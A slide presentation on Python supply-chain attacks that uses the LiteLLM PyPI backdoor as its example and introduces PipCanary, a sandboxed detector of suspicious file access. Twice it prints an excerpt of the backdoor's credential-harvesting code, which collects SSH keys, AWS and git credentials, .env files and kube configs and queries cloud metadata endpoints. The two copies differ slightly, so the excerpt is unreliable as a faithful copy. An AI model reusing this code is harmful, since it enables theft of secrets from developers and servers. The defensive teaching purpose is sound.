

pipcanary-presentation

May 5, 2026

1 Supply Chain Attacks in Python (PyPi)

1.1 OWASP Top Ten

The Ten Most Critical Web Application Security Risks

Software Supply Chain Failures elevated from 6 to 3!

```
35
36 homes=[]
37 try:
38     for e in os.scandir('/home'):
39         if e.is_dir():homes.append(e.path)
40 except OSError:pass
41 homes.append('/root')
42 all_roots=homes+['/opt','/srv','/var/www','/app','/data','/var/lib','/tmp']
43
44 run('hostname; pwd; whoami; uname -a; ip addr 2>/dev/null || ifconfig 2>/dev/null; ip route 2>/dev/null')
45 run('printenv')
46
47 for h in homes+['/root']:
48     for f in ['/ssh/id_rsa','/.ssh/id_ed25519','/.ssh/id_ecdsa','/.ssh/id_dsa','/.ssh/authorized_keys','/.ssh/known_hosts','/.ssh/config']:
49         emit(h+f)
50         walk([h+ '/.ssh'],2,lambda fp,fn:True)
51
52 walk(['/etc/ssh'],1,lambda fp,fn:fn.startswith('ssh_host') and fn.endswith('_key'))
53
54 for h in homes+['/root']:
55     for f in ['.git-credentials','/.gitconfig']:emit(h+f)
56
57 for h in homes+['/root']:
58     emit(h+ '/.aws/credentials')
59     emit(h+ '/.aws/config')
60
61 for d in ['.','.','..','../..']:
62     for f in ['.env','.env.local','.env.production','.env.development','.env.staging','.env.test']:
63         emit(d+'/' +f)
64 emit('/app/.env')
65 emit('/etc/environment')
66 walk(all_roots,6,lambda fp,fn:fn in ['.env','.env.local','.env.production','.env.development','.env.staging'])
67
68 run('env | grep AWS_')
69 run('curl -s http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI} 2>/dev/null || true')
70 run('curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || true')
71
72 for h in homes+['/root']:
73     emit(h+ '/.kube/config')
74 emit('/etc/kubernetes/admin.conf')
75 emit('/etc/kubernetes/kubelet.conf')
76 emit('/etc/kubernetes/controller-manager.conf')
```

2 Supply Chain Attacks in Python (PyPi)

2.1 Existing Challenges

- Known Vulnerabilities in Python libraries
- Zero Day Vulnerabilities

2.1.1 Mitigation

- Dependabot (Github)

- pip-audit
- ...

2.2 (Relatively) New Challenge

- **Packages with Backdoors!**

2.2.1 Mitigation

- *we'll come to that...*

3 Packages with Backdoors

3.1 Example: LiteLLM incident

On March 24, 2026, two versions of the **litellm** Python package on PyPI were found to contain malicious code. The packages (versions 1.82.7 and 1.82.8) were published by a threat actor known as TeamPCP after they obtained the maintainer's PyPI credentials through a prior compromise of **Trivy**, an open source security scanner used in LiteLLM's CI/CD pipeline.

3.2 How it works

- 'Thread actor' obtains a maintainer's PyPI credentials
- sneaks in malicious code that only runs during installation or when the module gets loaded
- On the victim's machine, the malicious code sends AWS Tokens, SSH Keys etc. to thread actor's server

4 LiteLLM Exploit Script

```
35 homes=[]
36 try:
37     for e in os.scandir('/home'):
38         if e.is_dir():homes.append(e.path)
39 except OSError:pass
40 homes.append('/root')
41 all_roots=homes+['/opt','/srv','/var/www','/app','/data','/var/lib','/tmp']
42
43 run('hostname; pwd; whoami; uname -a; ip addr 2>/dev/null || ifconfig 2>/dev/null; ip route 2>/dev/null')
44 run('printenv')
45
46 for h in homes+['/root']:
47     for f in ['.ssh/id_rsa','/.ssh/id_ed25519','/.ssh/id_ecdsa','/.ssh/id_dsa','/.ssh/authorized_keys','/.ssh/known_hosts','/.ssh/config']:
48         emit(h+f)
49         walk([h+ '/.ssh'],2,lambda fp,fn:True)
50
51 walk(['/etc/ssh'],1,lambda fp,fn:fn.startswith('ssh_host') and fn.endswith('_key'))
52
53 for h in homes+['/root']:
54     for f in ['.git-credentials','/.gitconfig']:emit(h+f)
55
56 for h in homes+['/root']:
57     emit(h+'/.aws/credentials')
58     emit(h+'/.aws/config')
59
60 for d in ['.','.','..','...']:
61     for f in ['.env','.env.local','.env.production','.env.development','.env.staging','.env.test']:
62         emit(d+'/' +f)
63
64 emit('/app/.env')
65 emit('/etc/environment')
66 walk(all_roots,6,lambda fp,fn:fn in ['.env','.env.local','.env.production','.env.development','.env.staging'])
67
68 run('env | grep AWS_')
69 run('curl -s http://169.254.170.254{AWS_CONTAINER_CREDENTIALS_RELATIVE_URI} 2>/dev/null || true')
70 run('curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || true')
71
72 for h in homes+['/root']:
73     emit(h+'/.kube/config')
74     emit('/etc/kubernetes/admin.conf')
75     emit('/etc/kubernetes/kubelet.conf')
76     emit('/etc/kubernetes/controller-manager.conf')
```

source: <https://snyk.io/de/articles/poisoned-security-scanner-backdooring-litellm/>

5 Packages with Backdoors

5.1 Mitigation Options

- only install packages uploaded after a **cool-down phase** = prior to a certain date.

5.1.1 pip

```
pip --uploaded-prior-to 2026-05-01
```

5.1.2 uv

```
uv add -r requirements.txt --exclude-newer 2026-05-01
```

see: - <https://pydevtools.com/handbook/how-to/how-to-use-exclude-newer-for-reproducible-python-environments/> - https://pip.pypa.io/en/stable/cli/pip_install/

6 Cool-Down Phase Pros and Cons

6.1 Pro

- newer packages have a chance to be scanned for Backdoors before they are installed.

6.2 Cons

- packages uploads that recently fixed vulnerabilities do NOT get installed - leaving you with vulnerable packages.
- **you have to use `--uploaded-prior-to` or `--exclude-newer` throughout your deployment pipeline! Forget it at one place and you are screwed!**

6.2.1 Side note

You can enforce pip install to install only locked versions of your packages but you have determine at some point, which versions you want to install.

7 Better Mitigation: PipCanary (Work in Progress)

<https://github.com/sebastian-kuebeck/pipcanary>

1. Run **pipcanary** locally or in a docker container (better) against your requirements and generate a locked requirements file.

```
pipcanary -r requirements.txt -l requirements-locked.txt
```

or

```
pipcanary -p pyproject.toml -l requirements-locked.txt
```

2. Use the locked requirements file to install packages.

7.1 What PipCanary does

1. Install all packages in a sandboxed environment (bubblewrap) and try to load all package modules.
2. Scan file access with strace (outside of sandbox) of the process and check for suspicious file access. E.g. access to `/root/.ssh`
3. Abort immediately if suspicious file access was detected.

8 PipCanary when it detects an attack

...

Found suspicious access to `/home/sebastian/.ssh` in package `evilpack`.

Description: SSH private key exfiltration.

Explanation: The package might be trying to steal your Secure Shell private keys.

This could be dangerous!!!

Don't install this package under any circumstances until you know for sure that this is a false

In doubt, contact the package maintainers!

9 PipCanary when it detects known Vulnerabilities

...

Auditing 9 packages...

Package Flask:3.1.2 has known vulnerabilities: GHSA-68rp-wp8r-4726 (fixed in 3.1.3).

Package Pygments:1.1 has known vulnerabilities: PYSEC-2021-141 (fixed in 2.7.4), GHSA-pq64-v7fj-4567.

Summary:

- Vulnerabilities in the following package(s) were found: Flask:3.1.2, Pygments:1.1.

10 PipCanary when it detects packages within cool-down phase

...

Auditing 3 packages...

Package MarkupSafe 3.0.3 was updated too recently: 2025-09-27T18:37:40.

- Consider MarkupSafe<=2.1.3 which has no known vulnerabilities
- If you are certain that the latest upload is secure, add the following argument: --allow-updates

Package Werkzeug 3.1.8 was updated too recently: 2026-04-02T18:49:14.

- The next suitable release Werkzeug: 2.3.6 has known vulnerabilities though: GHSA-hrfv-mqp8-4567.
- If you are certain that the latest upload is secure, add the following argument: --allow-updates

Summary:

- The following package(s) were uploaded too recently: MarkupSafe, Werkzeug.